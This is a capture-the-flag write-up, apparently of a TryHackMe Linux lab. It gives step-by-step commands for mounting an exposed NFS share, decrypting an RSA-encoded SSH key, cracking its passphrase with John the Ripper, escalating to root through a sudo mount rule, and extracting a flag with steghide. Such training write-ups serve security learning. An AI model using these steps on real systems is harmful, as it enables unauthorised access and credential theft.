HackWrite

From noob to root.

Machine Overview

PlatformTryHackMe
DifficultyMedium
OSLinux
TagsNFS | RSA-Cryptography | Steganography | Privilege Escalation

Initial Enumeration

1

Port Scanning

Starting with an Nmap scan to identify open services:

terminal
nmap -sVC 10.80.134.237

Nmap Scan

The scan reveals several interesting services:

  • Port 22: OpenSSH 6.7p1
  • Port 80: Apache httpd 2.4.10
  • Port 111/2049: NFS (Network File System)
2

Web Enumeration

Visiting the web server on port 80 reveals a page with seemingly random numbers:

Cipher Text

This is decimal-encoded ASCII text. Using dcode to analyze the cipher:

DCode Analysis 1

DCode Analysis 2

The decoded message reveals: "Hey Willow, here's your SSH Private key -- you know where the decryption key is!"

This hints that we'll need to find a decryption key or reconstruct the SSH key from other sources.

3

NFS Enumeration

Since NFS is exposed, check for available shares:

terminal
showmount -e 10.80.134.237

Showmount Output

The server exports /var/failsafe to everyone. Let's mount it:

terminal
sudo mkdir -p /mnt/nfs/failsafe sudo mount -t nfs 10.80.134.237:/var/failsafe /mnt/nfs/failsafe sudo ls /mnt/nfs/failsafe

Mount Process

Mount Success

The share contains a file named rsa_keys. Examining its contents:

terminal
cat /mnt/nfs/failsafe/rsa_keys

RSA Keys File

The file contains RSA parameters:

  • Public Key: (23, 37627) → (e, n)
  • Private Key Pair: (61527, 37627) → (d, n)

Initial Access

4

RSA Key Reconstruction with Python

The web page contained an RSA-encrypted message (the decimal numbers). Using the private key components (d, n) found in the NFS share, we can decrypt it using the RSA decryption formula: plaintext = ciphertext^d mod n

terminal
#!/usr/bin/env python3 d = 61527 n = 37627 cipher = [# replace with the cipher numbers seperated by commas] plaintext = ''.join(chr(pow(c, d, n)) for c in cipher) print(plaintext)

Running this script outputs the RSA private key:

terminal
-----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,2E2F405A3529F92188B453CAA6E33270 [... ENCRYPTED DATA ...] qUVUQaJ+YmQRqto1knT5nW6m61mh... -----END RSA PRIVATE KEY-----

Save this output to id_rsa.

5

SSH Key Cracking

The private key is password-protected. First, convert it to John format:

terminal
ssh2john id_rsa > hash.txt

SSH2John Conversion

Now crack it with John the Ripper using rockyou.txt:

terminal
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

John Cracking

Remove the passphrase from the key for easier use (or use it directly):

terminal
chmod 600 id_rsa ssh-keygen -p -f id_rsa # Enter old passphrase: [REDACTED] # Enter new passphrase: (empty)

SSH Key Permissions

Now SSH into the box as user willow:

terminal
ssh -i id_rsa willow@10.80.134.237

SSH Connection

Upon successful connection with the correct passphrase, we're greeted with a poetic message from "The Willow Tree" English Folksong.

User Flag

6

Steganography Extraction

In willow's home directory, there's an image file user.jpg:

LS Willow Home

We now founded the user flag !

Privilege Escalation

7

Sudo Analysis

Checking sudo privileges:

terminal
sudo -l

Sudo Privileges

User willow may run the following commands on willow-tree: (ALL : ALL) NOPASSWD: /bin/mount /dev/*

This allows mounting any block device as root without password.

8

Finding Hidden Devices

Investigating /dev/ reveals a suspicious device:

terminal
ls /dev/

LS Dev

Notice the hidden_backup device.

9

Mounting the Hidden Filesystem

Create a mount point and mount the hidden device as root using the sudo privilege:

terminal
sudo -u root mount /dev/hidden_backup /tmp/pwn ls /tmp/pwn cat /tmp/pwn/creds.txt

Credentials Discovery

The creds.txt file contains credentials:

  • root: [REDACTED]
  • willow: [REDACTED]
10

Getting Root

Switch to the root user using the discovered password:

terminal
su root # Password: [REDACTED] whoami cd /root ls cat root.txt

Fake Root Flag

The /root/root.txt contains a fake flag with the message: "This would be too easy, don't you think? I actually gave you the root flag some time ago. You've got my password now -- go find your flag!"

What we had earlier is an image (user.jpg) that could hide some data including the root flag. Download it to your local machine:

terminal
scp -i id_rsa willow@10.80.134.237:/home/willow/user.jpg .

SCP Download

The passphrase for steghide is the same as the SSH key: [REDACTED]

Extract hidden data from the image:

terminal
steghide extract -sf user.jpg

Steghide Extract

This extracts root.txt containing the root flag (the real root flag).

Key Takeaways

  1. NFS Security: Anonymous NFS shares can leak cryptographic material or credentials
  2. RSA Reconstruction: Given n, e, and d, RSA keys can be reconstructed programmatically using Python without needing external GitHub tools
  3. Steganography: The steghide tool hides data in images; always check with passwords found during enumeration
  4. Sudo Mount Privileges: NOPASSWD: /bin/mount /dev/* allows attackers to mount raw disk partitions containing sensitive files like /etc/shadow backups or credential stores

Tools Used

  • Nmap
  • showmount / mount.nfs
  • Python for RSA reconstruction
  • John the Ripper (ssh2john)
  • steghide
  • Standard Linux enumeration utilities